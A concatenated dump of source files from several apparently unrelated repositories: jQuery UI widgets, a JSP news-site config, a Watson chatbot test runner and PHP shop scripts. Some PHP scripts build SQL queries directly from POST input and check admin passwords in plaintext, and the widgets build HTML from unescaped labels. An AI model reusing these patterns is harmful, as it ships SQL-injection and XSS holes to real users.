if (oldIndex !== index) {
this._setSelectedIndex(index);
}
};
List.prototype.selectedItem = function(value) {
if (arguments.length === 0) {
return this._selectedItem;
}
this.selectedIndex(this.dataSource.indexOf(value));
};
List.prototype.append = function(item) {
this.$ul.append('<li><a href="#">' + this.itemToLabel(item) + '</a></li>');
this.dataSource.push(item);
this._setSelectedIndex(this.dataSource.length);
};
List.prototype.appendAt = function(item, index) {
this.$ul.children().eq(index).before('<li><a href="#">' + this.itemToLabel(item) + '</a></li>');
this.dataSource.splice(index, 0, item);
this._setSelectedIndex(index);
};
List.prototype.remove = function(index) {
this.$ul.children().eq(index).remove();
this.dataSource.splice(index, 1);
this._setSelectedIndex(index);
};
List.prototype.update = function(item) {
var index = this.dataSource.indexOf(item);
var li = this.$ul.children[index];
li.innerHTML = '<a href="#">' + this.itemToLabel(item) + '</a>';
};
List.prototype.destroy = function() {
this.$ul.remove();
};
List.prototype._setSelectedIndex = function(index) {
var $li = this.$ul.children();
$li.filter('.active').removeClass('active');
$li.eq(index).addClass('active');
this._selectedIndex = index;
this._selectedItem = this.dataSource[index];
this.trigger('change', this._selectedItem);
};
List.prototype._clickHandler = function(event) {
event.preventDefault();
var $li = $(event.target).closest('li');
var index = this.$ul.children().index($li);
this.selectedIndex(index);
this.trigger('itemClick', this._selectedItem);
};
List.DEFAULTS = {
rowCount: 6,
labelField:null,
labelFunction:null,
dataKeyField:null
};
})(jQuery);<file_sep>(function($) {
var ns = ztesoft.namespace('ztesoft.components');
var Menu = ns.Menu = function(element, options) {
this.$element = $(element);
$.extend(this, Menu.DEFAULTS, options);
};
$.extend(Menu.prototype, ztesoft.events.Event, ns.List.prototype);
Menu.DEFAULTS = {
'labelField': null,
'labelFunction': null,
'childrenField': 'children'
};
Menu.prototype.render = function() {
this.$element.append(this._createChildrenList(this.dataSource));
this.$element.on('mouseover', 'li', $.proxy(this._mouseOverHandler, this));
this.$element.on('click', 'li', $.proxy(this._clickHandler, this));
$(document).on('click', $.proxy(this._clickOutsideHandler, this));
};
Menu.prototype._createChildrenList = function(children) {
var _this = this;
var html = ['<ul class="menu">'];
children.forEach(function(item) {
html.push(_this._createItemRenderer(item, null, ''));
});
html.push('</ul>');
return html.join('');
};
Menu.prototype._createItemRenderer = function(item) {
var _this = this;
var children = item[this.childrenField];
var html = [];
html.push('<li><a href="#">');
html.push(this.itemToLabel(item));
if (children) {
html.push('<i class="glyphicon glyphicon-chevron-right"></i></a><ul class="menu popup">');
children.forEach(function(childItem) {
html.push(_this._createItemRenderer(childItem));
});
html.push('</ul>');
}
else {
html.push('</a>');
}
html.push('</li>');
return html.join('');
};
Menu.prototype._mouseOverHandler = function(event) {
event.stopPropagation();
var $li = $(event.currentTarget);
var $ul = $li.children('ul');
var position = $li.position();
if ($ul.length) {
$li.addClass('open active');
$ul.css({'top': position.top, 'left': position.left + $li.outerWidth()});
}
else {
$li.parent().find('.open').removeClass('open active');
}
};
Menu.prototype._clickHandler = function(event) {
event.preventDefault();
event.stopPropagation();
var $li = $(event.currentTarget);
var $ul = $li.children('ul');
if (!$ul.length) {
this.$element.find('.open').removeClass('open active');
this.trigger('itemClick');
}
};
Menu.prototype._clickOutsideHandler = function(event) {
if($(event.target).closest('.menu')) {
}
}
})(jQuery);<file_sep>(function() {
var ztesoft = window.ztesoft = window.ztesoft || {};
// var StringProto = String.prototype;
// var nativeTrim = StringProto.trim;
//
// var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
//
// ztesoft.trim = nativeTrim ?
// function(text) {
// return text == null ? "" : nativeTrim.call(text);
// } :
// function(text) {
// return text == null ? "" : text.replace(rtrim, '');
// }
// ;
//
// ztesoft.addClass = function(element, cssClasses) {
// if (cssClasses && element.setAttribute) {
// var existingClasses = (' ' + (element.getAttribute('class') || '') + ' ')
// .replace(/[\n\t]/g, " ");
//
// cssClasses.split(' ').forEach(function(cssClass) {
// cssClass = ztesoft.trim(cssClass);
// if (existingClasses.indexOf(' ' + cssClass + ' ') === -1) {
// existingClasses += cssClass + ' ';
// }
// });
//
// element.setAttribute('class', ztesoft.trim(existingClasses));
// }
// };
//
// ztesoft.removeClass = function(element, cssClasses) {
// if (cssClasses && element.setAttribute) {
// cssClasses.split(' ').forEach(function(cssClass) {
// element.setAttribute('class', ztesoft.trim(
// (" " + (element.getAttribute('class') || '') + " ")
// .replace(/[\n\t]/g, " ")
// .replace(" " + ztesoft.trim(cssClass) + " ", " "))
// );
// });
// }
// };
ztesoft.namespace = function(name) {
var parts = name.split('.');
var ns = window;
for (var part; parts.length && (part = parts.shift());) {
if (ns[part]) {
ns = ns[part];
} else {
ns = ns[part] = {};
}
}
return ns;
};
})();<file_sep>(function($) {
var ns = ztesoft.namespace('ztesoft.components');
var TabNavigator = ns.TabNavigator = function(element, options) {
this.$element = $(element);
};
$.extend(TabNavigator.prototype, ztesoft.events.Event);
TabNavigator.prototype.render = function() {
this.$tabBar = this.$element.children('.nav');
this.$tabConent = this.$element.children('.tab-content');
this._selectedIndex = 0;
this.$tabBar.on('click', $.proxy(this._tabClickHandler, this));
};
TabNavigator.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
this._setSelectedIndex(index);
}
TabNavigator.prototype._setSelectedIndex = function(index) {
var $li;
if (this._selectedIndex === index) {
return;
}
this.$tabBar.children().filter('.active').removeClass('active');
this.$tabConent.children().filter('.active').removeClass('active');
$li = this.$tabBar.children().eq(index);
$li.addClass('active');
this.$tabConent.children().filter($li.children('a').attr('href')).addClass('active');
this._selectedIndex = index;
this.trigger('change', index);
};
TabNavigator.prototype._tabClickHandler = function(event) {
event.preventDefault();
var $li = $(event.target).closest('li');
this._setSelectedIndex(this.$tabBar.children().index($li));
};
})(jQuery);<file_sep>(function($, undefined) {
var ns = ztesoft.namespace('ztesoft.components');
var DataGrid = ns.DataGrid = function(element, options) {
this._selectedItem = null;
this._selectedIndex = -1;
this.$element = $(element);
$.extend(this, DataGrid.DEFAULTS, options, this.$element.data());
};
$.extend(DataGrid.prototype, ztesoft.events.Event);
DataGrid.DEFAULTS = {
'rowCount': 6,
'rowHeight': 37
};
DataGrid.prototype.render = function() {
var header = '<div class="datagrid-header"><table class="table table-bordered">';
var colgroup = '<colgroup>';
var thead = '<thead><tr>';
$.each(this.columns, function(index, column) {
if (column.width) {
colgroup += '<col width=' + column.width + '></col>';
}
else {
colgroup += '<col></col>';
}
thead += '<th>'+ (column.headerText || column.dataField) + '</th>';
});
colgroup += '</colgroup>';
thead += '</tr></thead>';
header += colgroup + thead + '</table></div>';
var body = '<div class="datagrid-body" style="height:' + this.rowCount * this.rowHeight
+ 'px"><table class="table table-hover">' + colgroup;
var tbody = '<tbody>';
var tr;
var _this = this;
$.each(this.dataSource, function(index, item) {
tr = '<tr>';
$.each(_this.columns, function(index, column) {
tr += '<td>' + _this.itemToLabel(item, column) + '</td>';
});
tr += '</tr>';
tbody += tr;
});
body += tbody + '</tbody></table></div>';
this.$element.append(header + body);
this.$body = this.$element.find('.datagrid-body');
this.$body.on('click', $.proxy(this._clickHandler, this));
};
DataGrid.prototype.selectedIndex = function(index) {
if (arguments.length === 0) {
return this._selectedIndex;
}
var oldIndex = this._selectedIndex;
if (oldIndex !== index) {
this._setSelectedIndex(index);
}
};
DataGrid.prototype.selectedItem = function(item) {
if (arguments.length === 0) {
return this._selectedItem;
}
this.selectedIndex(this.dataSource.indexOf(value))
};
DataGrid.prototype.itemToLabel = function(item, column) {
if (!item) {
return '';
}
if (column.labelFunction != null) {
return column.labelFunction(item);
}
else if (column.dataField != null) {
return item[column.dataField];
}
else {
return item;
}
};
DataGrid.prototype._setSelectedIndex = function(index) {
var $tr = this.$body.find('tr');
$tr.filter('.active').removeClass('active');
$tr.eq(index).addClass('active');
this._selectedIndex = index;
this._selectedItem = this.dataSource[index];
this.trigger('change');
};
DataGrid.prototype._clickHandler = function(event) {
var $tr = $(event.target).closest('tr');
if (!$tr.hasClass('active')) {
var $active = this.$body.find('.active');;
$active.removeClass('active');
$tr.addClass('active');
this.selectedIndex(this.$body.find('tr').index($tr));
this.trigger('itemClick');
}
}
})(jQuery);<file_sep>(function($) {
var ns = ztesoft.namespace('ztesoft.components');
var DatePicker = ns.DatePicker = function(element, options) {
this.$element = $(element);
$.extend(this, DatePicker.DEFAULTS, options);
};
DatePicker.DEFAULTS = {
'days':["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa", "Su"],
'months':['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
'formatString':'yyyy-MM-dd',
'weekStart':0,
'disabledDays':[],
'selectableRange':[]
};
DatePicker.prototype.render = function() {
this.date = new Date();
this._picker = document.createElement('div');
this._picker.className = 'datepicker popup';
this._picker.innerHTML = '<table class="table-condensed">'+
'<thead>'+
'<tr>'+
'<th class="prev">«</th>'+
'<th colspan="5" class="datepicker-switch"></th>'+
'<th class="next">»</th>'+
'</tr>'+
'</thead>'+
'<tbody><tr><td colspan="7"></td></tr></tbody>'+
'</table>';
this._updateMonth();
var html = ['<tr>'];
var dowCnt = this.weekStart;
while (dowCnt < this.weekStart + 7) {
html.push('<th class="dow">' + this.days[dowCnt] + '</th>');
dowCnt++;
}
html.push('</tr>')
var thead = this._picker.querySelector('thead');
thead.innerHTML += html.join('');
this._updateFillDays();
this.$element.append(this._picker);
this.$element.on('click', '.input-group-addon', $.proxy(this.show, this));
$(this._picker).on('click', $.proxy(this._clickHandler, this));
$(this._picker).on('dblclick', $.proxy(this._okHandler, this));
// $(document).on('click', $.proxy(this._mouseClickOutsideHandler, this));
};
DatePicker.prototype._updateMonth = function() {
this._picker.querySelector('.datepicker-switch').textContent = this.months[this.date.getMonth()] + ' ' + this.date.getFullYear();
};
DatePicker.prototype._updateFillDays = function() {
var year = this.date.getFullYear();
var month = this.date.getMonth();
var offset = this._getOffsetOfMonth(year, month);
var days = this._getNumberOfDaysInMonth(year, month);
var html = ['<tr>'];
for (var i = 0; i < offset; i++) {
html.push('<td></td>');
}
i = 1;
while (i <= days) {
if (offset == 0) {
html.push('<tr>');
}
html.push('<td class="day">' + i + '</td>');
if (offset == 6) {
html.push('</tr>');
offset = 0;
}
else {
offset++;
}
i++;
}
this._picker.querySelector('tbody').innerHTML = html.join('');
};
DatePicker.prototype._getOffsetOfMonth = function(year, month) {
var first = new Date(year, month, 1);
var offset = first.getDay() - this.weekStart;
return offset < 0 ? offset + 7 : offset;
};
DatePicker.prototype._getNumberOfDaysInMonth = function(year, month) {
var n;
if (month == 1) {
if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0))
n = 29;
else
n = 28;
}
else if (month == 3 || month == 5 || month == 8 || month == 10)
n = 30;
else
n = 31;
return n;
};
DatePicker.prototype._clickHandler = function(event) {
var target = event.target;
if (target.tagName == 'TD' && target.textContent) {
var active = this._picker.querySelector('.active');
if (active) {
$(active).removeClass('active');
}
$(target).addClass('active');
}
else if (target.className == 'prev') {
this.date = ztesoft.utils.DateUtil.addMonths(this.date, -1);
this._updateMonth();
this._updateFillDays();
}
else if (target.className == 'next') {
this.date = ztesoft.utils.DateUtil.addMonths(this.date, 1);
this._updateMonth();
this._updateFillDays();
}
};
DatePicker.prototype._okHandler = function(event) {
var target = event.target;
if (target.tagName == 'TD' && target.textContent) {
this.date.setDate(parseInt(target.textContent));
this.$element.find('input').val(ztesoft.utils.DateUtil.format(this.date, 'yyyy-mm-dd'));
this.hide();
}
};
DatePicker.prototype._mouseClickOutsideHandler = function(event) {
if (!((event.target == this.element) || (event.target == this._picker) || this._picker.contains(event.target))) {
this.hide();
}
}
DatePicker.prototype.show = function() {
this.$element.addClass('open');
};
DatePicker.prototype.hide = function() {
this.$element.removeClass('open');
};
DatePicker.prototype.destory = function() {
this._picker.remove();
};
})(jQuery);<file_sep>(function($) {
var ns = ztesoft.namespace('ztesoft.components');
var Tree = ns.Tree = function(element, options) {
this.$element = $(element);
$.extend(this, Tree.DEFAULTS, options);
};
$.extend(Tree.prototype, ztesoft.events.Event, ns.List.prototype);
Tree.DEFAULTS = {
'labelField': null,
'labelFunction': null,
'childrenField': 'children',
'autoOpen': true
};
Tree.prototype.render = function() {
var _this = this;
var $ul = $('<ul class="tree"></ul>');
this._loadFromDataSource();
this.nodes.forEach(function(node) {
_this._createNode(node);
$ul.append(node.element);
});
this.$element.append($ul);
this.$element.on('click', $.proxy(this._clickHandler, this));
};
Tree.prototype._loadFromDataSource = function() {
var node, children, nodes = [], _this = this;
if (this.dataSource) {
this.dataSource.forEach(function(item) {
node = new TreeNode(item);
children = item[_this.childrenField];
if (children) {
node.isOpen = _this.autoOpen;
_this._loadFromArray(children, node);
}
nodes.push(node);
});
}
this.nodes = nodes;
};
Tree.prototype._loadFromArray = function(array, parentNode) {
var node, children, _this = this;
array.forEach(function(item) {
node = new TreeNode(item);
parentNode.addChild(node);
children = item[_this.childrenField];
if (children) {
node.isOpen = _this.autoOpen;
_this._loadFromArray(children, node);
}
});
};
Tree.prototype.expandNode = function(node) {
if (!node.isBranch()){
return;
}
var $li = node.element;
var $disclosureIcon = $li.children('a').find('.js-folder');
if (!node.isOpen) {
node.isOpen = true;
this.trigger('itemOpen');
$li.addClass('open');
$disclosureIcon.removeClass('glyphicon-plus-sign').addClass('glyphicon-minus-sign');
}
};
Tree.prototype.collapseNode = function(node) {
if (!node.isBranch()){
return;
}
var $li = node.element;
var $disclosureIcon = $li.children('a').find('.js-folder');
if (node.isOpen) {
node.isOpen = false;
this.trigger('itemClose');
$li.removeClass('open');
$disclosureIcon.removeClass('glyphicon-minus-sign').addClass('glyphicon-plus-sign');
}
};
Tree.prototype.expandAll = function() {
var _this = this;
this.nodes.forEach(function(node) {
_this.expandNode(node);
});
};
Tree.prototype.collapseAll = function() {
var _this = this;
this.nodes.forEach(function(node) {
_this.collapseNode(node);
});
};
Tree.prototype.append = function(item, parentNode) {
var $ul, $li, $prev, node = new TreeNode(item);
if (parentNode.isBranch()) {
parentNode.addChild(node);
$ul = parentNode.element.children('ul');
this._createNode(node);
$li = node.element;
$ul.append($li);
}
else {
parentNode.addChild(node);
$li = parentNode.element;
$prev = $li.prev();
$ul = $li.parent();
parentNode.element = null;
$li.remove();
$li = this._createFolder(parentNode);
if ($prev.length) {
$prev.after($li);
}
else {
$ul.append($li);
}
}
this.expandNode(parentNode);
this._setSelectedNode(node);
};
Tree.prototype.remove = function(node) {
var parentNode = node.parent;
node.element.remove();
node.destroy();
this._setSelectedNode(parentNode);
};
Tree.prototype.update = function(node) {
var $li = node.element;
$li.children('a').html(this._createLabel(node));
};
Tree.prototype.getSelectedNode = function() {
var $li = this.$element.find('.active');
return $li.data('node');
};
Tree.prototype.getSelectedItem = function() {
var node = this.getSelectedNode();
return node.data;
};
Tree.prototype._setSelectedNode = function(node) {
var $active = this.$element.find('.active');
$active.removeClass('active');
var $li = node.element;
$li.addClass('active');
this.trigger('change', node.data);
};
Tree.prototype._createNode = function(node) {
if (node.isBranch()) {
this._createFolder(node);
}
else {
this._createLeaf(node);
}
};
Tree.prototype._createLeaf = function(node) {
var html = ['<li><a href="#"><span>'];
html.push(this._createIndentationHtml(node.getLevel()));
html.push(this.itemToLabel(node.data));
html.push('</span></a></li>');
var $li = $(html.join(''));
$li.data('node', node);
node.element = $li;
return $li;
};
Tree.prototype._createFolder = function(node) {
var _this = this;
var html = [];
if (node.isOpen) {
html.push('<li class="open"><a href="#"><span>');
html.push(this._createIndentationHtml(node.getLevel() - 1));
html.push('<i class="glyphicon glyphicon-minus-sign js-folder"></i>');
}
else {
html.push('<li><a href="#"><span>');
html.push(this._createIndentationHtml(node.getLevel() - 1));
html.push('<i class="glyphicon glyphicon-plus-sign js-folder"></i>');
}
html.push(this.itemToLabel(node.data));
html.push('</span></a></li>');
var $li = $(html.join(''));
var $ul = $('<ul class="children-list"></ul>');
node.children.forEach(function(childNode) {
_this._createNode(childNode);
$ul.append(childNode.element);
});
$li.append($ul);
$li.data('node', node);
node.element = $li;
return $li;
};
Tree.prototype._createLabel = function(node) {
var html = ['<span>'];
var level = node.getLevel();
if (node.isBranch()) {
html.push(this._createIndentationHtml(level - 1));
html.push('<i class="glyphicon ',
node.isOpen ? 'glyphicon-minus-sign' : 'glyphicon-plus-sign',
' js-folder"></i>');
}
else {
html.push(this._createIndentationHtml(level));
}
html.push(this.itemToLabel(node.data));
html.push('</span>');
return html.join('');
};
Tree.prototype._createIndentationHtml = function(count) {
var html = [];
for (var i = 0; i < count; i++) {
html.push('<i class="glyphicon tree-indentation"></i>');
}
return html.join('');
};
Tree.prototype._clickHandler = function(event) {
var $target = $(event.target);
var $li = $target.closest('li');
var node = $li.data('node');
if ($target.is('i')) {
event.preventDefault();
if (node.isOpen) {
this.collapseNode(node);
}
else {
this.expandNode(node);
}
}
else {
event.preventDefault();
if (!$li.hasClass('active')) {
this._setSelectedNode(node);
this.trigger('itemClick', node.data);
}
}
};
var TreeNode = function(data) {
this.data = data;
this.parent = null;
};
TreeNode.prototype.destroy = function() {
this.parent = null;
};
TreeNode.prototype.addChild = function(node) {
node.parent = this;
if (!this.children) {
this.children = [];
}
this.children.push(node);
};
TreeNode.prototype.removeChild = function(node) {
node.parent = null;
this.children.splice(this.getChildIndex(node), 1);
};
TreeNode.prototype.getChildIndex = function(node) {
return this.children.indexOf(node);
};
TreeNode.prototype.hasChildren = function() {
return this.children.length !== 0;
};
TreeNode.prototype.isBranch = function() {
return !!this.children;
};
TreeNode.prototype.getPreviousSibling = function() {
var previousIndex;
if (!this.parent) {
return null;
}
previousIndex = this.parent.getChildIndex(this) - 1;
if (previousIndex >= 0) {
return this.parent.children[previousIndex];
}
return null;
};
TreeNode.prototype.getNextSibling = function() {
var nextIndex;
if (!this.parent) {
return null;
}
nextIndex = this.parent.getChildIndex(this) + 1;
if (nextIndex < this.parent.children.length) {
return this.parent.children[nextIndex];
}
return null;
};
TreeNode.prototype.getLevel = function() {
var level = 1;
var parent = this.parent;
while(parent) {
level++;
parent = parent.parent;
}
return level;
};
})(jQuery);
|
6e36b5cd19882c7ab81790d6255fdafb4385c9bc
|
[
"JavaScript",
"Markdown"
] | 15
|
JavaScript
|
huang-x-h/corelib-js
|
dacb3e31e31a9dc72b860d2011d4d390d36acc47
|
545a7c58a66274235f0ef45e1e09ef25f181eb25
|
refs/heads/master
|
<repo_name>kaamodt/acitbot-tester-1475700466036<file_sep>/test/test.js
// var request = require('request');
var chai = require('chai');
var expect = chai.expect;
var Conversation = require('./../model/conversation');
var data = require('./../model/loadExcel.js').data;
var loadData = require('./../model/loadExcel.js').loadData;
var jsonfile = require('jsonfile');
var path = require('path');
var context = {name:'Bjeff'};
var jsonFileName = path.join(__dirname, 'jsondata.json');
var data = jsonfile.readFileSync(jsonFileName);
data.forEach(function(test) {
makeTest(test)
});
function escapeRegExp(string){
return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); // $& means the whole matched string
}
function makeTest(questionAnswerPair) {
describe(questionAnswerPair.question, function() {
// var context = { name:'Rune' };
// before(function() {
// var result = Conversation.message('hello', {name: 'Bjeff'});
// return result.then(function(data) {
// context = data.context;
// });
// });
it("'" + questionAnswerPair.answer + "'", function() {
var answerTruth = questionAnswerPair.answer;
var result = Conversation.message(questionAnswerPair.question, context);
return result.then(function(data) {
var answer = data.output.text.join('');
var conv_context = data.context;
context = conv_context;
var answerRemoveConfidence = answer;
if (answer.indexOf("!#!") > -1) {
answerRemoveConfidence = answer.substring(answer.indexOf("!#!") + 3);
}
var regex = new RegExp(escapeRegExp(answerRemoveConfidence));
//expect(answerTruth).to.equal(answerRemoveConfidence);
expect(answerTruth).to.match(regex);
});
});
});
};
<file_sep>/CHANGELOG.md
npm install
npm install mocha -g
to start the server:
npm start
to run tests:
- Either start the server and wait for the Cron-job scheduled for 22.00 to run off, or start the server and visit /newTest
- run npm test(requires that the file test/jsondata.json exists, which gets created programmatically by the server on a new test run).
I did not have time to finish the build-process through Delivery Pipeline on Bluemix, therefore I have deployed this application with the cf push command.
Kjetil did most of the loading of the Excel file, so I am not sure if we actually load all the sheets in the Excel, or just the first one.
<file_sep>/app.js
/*eslint-env node*/
//------------------------------------------------------------------------------
// node.js starter application for Bluemix
//------------------------------------------------------------------------------
// This application uses express as its web server
// for more info, see: http://expressjs.com
var express = require('express');
var TestRunner = require('./test/testrunner');
var cron = require('node-cron');
process.env['MOCHAWESOME_REPORTTITLE'] = 'ACITbot-tester';
//1845
//45 18 * * *
//hvert 2min
//'0 */2 * * * *
cron.schedule('30 11 * * *', function() {
console.log('--------------------- ' + new Date().toString() + ' --------------------')
TestRunner.start();
});
// cfenv provides access to your Cloud Foundry environment
// for more info, see: https://www.npmjs.com/package/cfenv
var cfenv = require('cfenv');
// create a new express server
var app = express();
// serve the files out of ./public as our main files
app.use(express.static(__dirname + '/mochawesome-reports', {
index: 'mochawesome.html'
}));
app.get('/newTest', function(req, res) {
TestRunner.start();
res.send('Trying to initiate new test ' + new Date().toString() + '. Feel free to close this window and see status in #acit-intelligent-bot');
});
// get the app environment from Cloud Foundry
var appEnv = cfenv.getAppEnv();
// start server on the specified port and binding host
app.listen(appEnv.port, '0.0.0.0', function() {
// print a message when the server starts listening
console.log("server starting on " + appEnv.url);
});
<file_sep>/model/loadExcel.js
//var url = "https://www.dropbox.com/s/7p7c0b7879c8ixj/answers.xlsx?dl=1";
var url = "https://www.dropbox.com/s/26x740k66exufcv/answers.xlsx?dl=1";
var filename = "answers.xlsx";
var request = require('request');
var XLSX = require('xlsx');
var fs = require('fs');
var q = require('q');
var jsonfile = require('jsonfile')
var path = require('path')
module.exports.data = [];
module.exports.loadData = loadData;
function loadData() {
module.exports.data = [];
var deferred = q.defer();
var stream = request(url).pipe(fs.createWriteStream(filename), {encoding:'utf8'} );
stream.on('finish', function() {
var workbook = XLSX.readFile(filename);
var first_sheet_name = workbook.SheetNames[0];
var worksheet = workbook.Sheets[first_sheet_name];
var hasData = true;
var data = [];
var counter = 2;
while (hasData) {
var question = worksheet['A' + counter];
var answer = worksheet['C' + counter];
if (typeof question === "undefined") {
hasData = false;
} else {
if(typeof answer === "undefined"){
answer = {};
answer.v = '';
}
module.exports.data.push({
question: question.v,
answer: answer.v.replace(/\\/g , '').replace(/'/g, "\'")
});
}
counter++;
}
var jsonFileName = path.join(__dirname, '../test', 'jsondata.json');
jsonfile.writeFile(jsonFileName, module.exports.data, function(err) {
deferred.resolve('success');
});
});
return deferred.promise;
};
<file_sep>/model/conversation.js
var watson = require('watson-developer-cloud');
var _conversation;
var q = require('q');
var WORKSPACE_ID = 'a2edd568-00e2-43d1-a1f6-f111f4cd0ff7'; //Test-env
initializeConversation();
module.exports.message = function(text, context) {
var deferred = q.defer();
_conversation.message({
workspace_id: WORKSPACE_ID,
input: {
'text': text
},
context: context
}, function(err, response) {
if (err) {
console.error('Conversation failed with the following error:\n' + err);
deferred.reject(err);
} else {
deferred.resolve(response);
}
});
return deferred.promise;
};
function initializeConversation() {
_conversation = watson.conversation({
username: '78477a52-d790-4d19-b31e-795ea71fd30d',
password: '<PASSWORD>',
version: 'v1',
version_date: '2016-07-11'
});
};
<file_sep>/README.md
# acitbot-tester
Issues with the new pipeline, therefore the delivery pipeline is disabled
That means that the app is deployed to bluemix with the cf push command
<file_sep>/test/testrunner.js
var Mocha = require('mocha'),
path = require('path'),
loadData = require('./../model/loadExcel.js').loadData,
SlackMessenger = require('./../model/slack'),
cp = require('child_process'),
jsonfile = require('jsonfile'),
path = require('path');
module.exports.isActive = false;
module.exports.start = function() {
if (!module.exports.isActive) {
console.log('starter')
module.exports.isActive = true;
loadData().then(function(data) {
SlackMessenger.sendInitiatingMessage();
var child1 = cp.exec("mocha test/test.js --timeout 30000 --reporter mochawesome", function(err, stdout, stderr) {
var jsonFileName = path.join(__dirname, '../mochawesome-reports', 'mochawesome.json');
jsonfile.readFile(jsonFileName, function(err, obj) {
console.log(err);
console.log(obj.stats.failures);
module.exports.isActive = false;
child1.kill();
SlackMessenger.sendFinishedMessage(obj.stats.failures, obj.stats.tests);
console.log('ferdig')
})
})
})
} else {
console.log("kjører en allerede")
SlackMessenger.sendAllreadyRunningMessage();
}
};
|
5f0c7ef2d2daf1dace507716176fa48d976d1ae7
|
[
"JavaScript",
"Markdown"
] | 7
|
JavaScript
|
kaamodt/acitbot-tester-1475700466036
|
619c397bbc7049b52c0205e3b61f27b9f351d9cc
|
3685245cb08a5c311873bae455081782cb97305b
|
refs/heads/master
|
<file_sep>package com.praveenbhati.rahul;
import android.content.Context;
import android.content.SharedPreferences;
/**
* Created by Bhati on 2/19/2016.
*/
public class PreferenceManager {
private Context context;
private String TAG = PreferenceManager.class.getSimpleName();
SharedPreferences pref;
SharedPreferences.Editor editor;
int PRIVATE_MODE = 0;
private static final String PREF_NAME = "Rahulapp";
private static final String KEY_IS_LOGIN = "is_login";
public PreferenceManager(Context context) {
this.context = context;
pref = this.context.getSharedPreferences(PREF_NAME,PRIVATE_MODE);
editor = pref.edit();
}
public void setKeyIsLogin(){
editor.putBoolean(KEY_IS_LOGIN,true);
editor.apply();
}
public boolean getIsLogin(){
return pref.getBoolean(KEY_IS_LOGIN,false);
}
public void clear() {
editor.clear();
editor.commit();
}
}
|
8638765af15fb7cac56f794a1f321a298f1d68b5
|
[
"Java"
] | 1
|
Java
|
praveenbbhati/Rahul
|
f6e28a2439ca1fe2cfcf57b59d59ea4b55230407
|
0e2b96be39c77c8a5ff9faf6af5d05bfad2ccc35
|
refs/heads/master
|
<file_sep>projectName=NewsByJSP
tempDir=\\upload\\temp
headIconFileDefault=\\upload\\images\\headIcon\\0.jpg
headIconDir=\\upload\\images\\headIcon
headIconDirDefault=\\upload\\images\\headIcon\\user
redirectTime=3
ueditJs=/NewsByJSP/plugin/ueditor1_4_3_3-utf8-jsp/ueditor.all.min.js
ueditConfigJs=/NewsByJSP/plugin/ueditor1_4_3_3-utf8-jsp/ueditor.config.js
ueditLang=/NewsByJSP/plugin/ueditor1_4_3_3-utf8-jsp/lang/zh-cn/zh-cn.js
headJsp=/head.jsp
tailJsp=/tail.jsp
newsTypes=all,社会,体育,汽车
homePageNewsN=9
homePageNewsCaptionMaxLength=15<file_sep>package test_case;
import bean.Authority;
import org.junit.Test;
import service.AuthorityService;
import java.util.List;
/**
* @author xiaojian
* @create 2018-09-11-22:16
*/
public class testAuthorityService {
@Test
public void testGetAll(){
AuthorityService service = new AuthorityService();
List<Authority> list = service.getAll();
for (Authority authority : list) {
System.out.println(authority.toString());
}
}
}
|
76e5e65a1db78943ba7e7c4c011e7095f879827c
|
[
"Java",
"INI"
] | 2
|
INI
|
DGUT-JAVAEE/news
|
02a80f7bd304893e51314489a9ecbc6a6ad393c1
|
d00939bef20c57b00dbe25ccad351319b34c6d29
|
refs/heads/master
|
<repo_name>Lusenko/Web_app<file_sep>/AgroTech/Order.php
<?php
$conn = new mysqli("localhost", "root", "root", "kursach");
if($conn->connect_error){
die("Error: " . $conn->connect_error);
}
$array = $_POST['arrayL'];
$values = $_POST['values'];
$name = $_POST['cName'];
$adress = $_POST['cadress'];
$phone = $_POST['cphone'];
$str = "";
$sql = mysqli_query($conn,"SELECT * FROM `order`");
$sql_name = mysqli_fetch_assoc($sql);
if(!$sql_name["id_goods"] == ""){
$sql = mysqli_query($conn,"SELECT `Check_id` FROM `order` ORDER BY `Check_id` DESC LIMIT 1;");
$checkId = mysqli_fetch_assoc($sql);
$checkedId = intval($checkId["Check_id"]);
$checkedId += 1;
}
for ($i=0; $i < count($array); $i++) {
$str = "INSERT INTO `order`(`id_goods`, `Name`, `Phone Number`, `Addres`, `Amount`, `Check_id`) VALUES (".$array[$i].",'".$name."','".$phone."','".$adress."',".$values[$i].",".$checkedId.");";
mysqli_query($conn,$str);
}
mysqli_query($conn,"TRUNCATE TABLE carts");
?><file_sep>/AgroTech/Admin/adminQuery.php
<?php
include_once "config.php";
$login = mysqli_real_escape_string($conn, $_POST['login']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$sql = mysqli_query($conn, "SELECT `login` FROM `logpass`");
$sql2 = mysqli_query($conn,"SELECT `pass` FROM `logpass`");
if($sql && $sql2){
$sqlcheck = mysqli_fetch_assoc($sql);
$sql2check = mysqli_fetch_assoc($sql2);
if($login == $sqlcheck['login'] && $password == $sql2check['pass']){
echo "success";
}else{
echo "Invalid login or password";
}
}
?><file_sep>/AgroTech/Cart/cartDelete.php
<?php
include_once "config.php";
$id = $_POST['id_tov'];
$sql = mysqli_query($conn, "DELETE FROM `cart` WHERE ID = '{$id}'");
?><file_sep>/AgroTech/Providers/providers.js
const form = document.getElementById('formid')
continueBtn = document.getElementById('submit')
let fname = document.getElementById('name')
let lastname = document.getElementById('lastname')
let product = document.getElementById('productname')
let amout = document.getElementById('amout')
let id = document.getElementById('id')
form.onsubmit = (e) =>{
e.preventDefault();
}
continueBtn.onclick = () =>{
let xhr = new XMLHttpRequest();
xhr.open("POST","/Providers/providerData.php", true);
xhr.onload = ()=>{
if(xhr.readyState === XMLHttpRequest.DONE){
if(xhr.status === 200){
let data = xhr.response;
if(data){
fname.value = ''
lastname.value = ''
product.value = ''
amout.value = ''
alert(data)
}
}
}
}
let formData = new FormData(form)
xhr.send(formData);
}<file_sep>/Space/script.js
let img = document.querySelector('#fImg')
let get = document.getElementById('Get')
let inputText = document.getElementById('Text')
let randomQuotesButton = document.getElementById('randomQuotesButton')
function setNewSize()
{
img.style.width = "500px"
img.style.height = "366px"
}
function setOldImage()
{
img.style.width = "400px"
img.style.height = "266px"
}
get.onclick=function(){
alert(navigator.userAgent)
}
let buttom = document.getElementById("SubmitId")
buttom.addEventListener('click', () => {
if (document.getElementById('contactChoice1').checked == true)
{
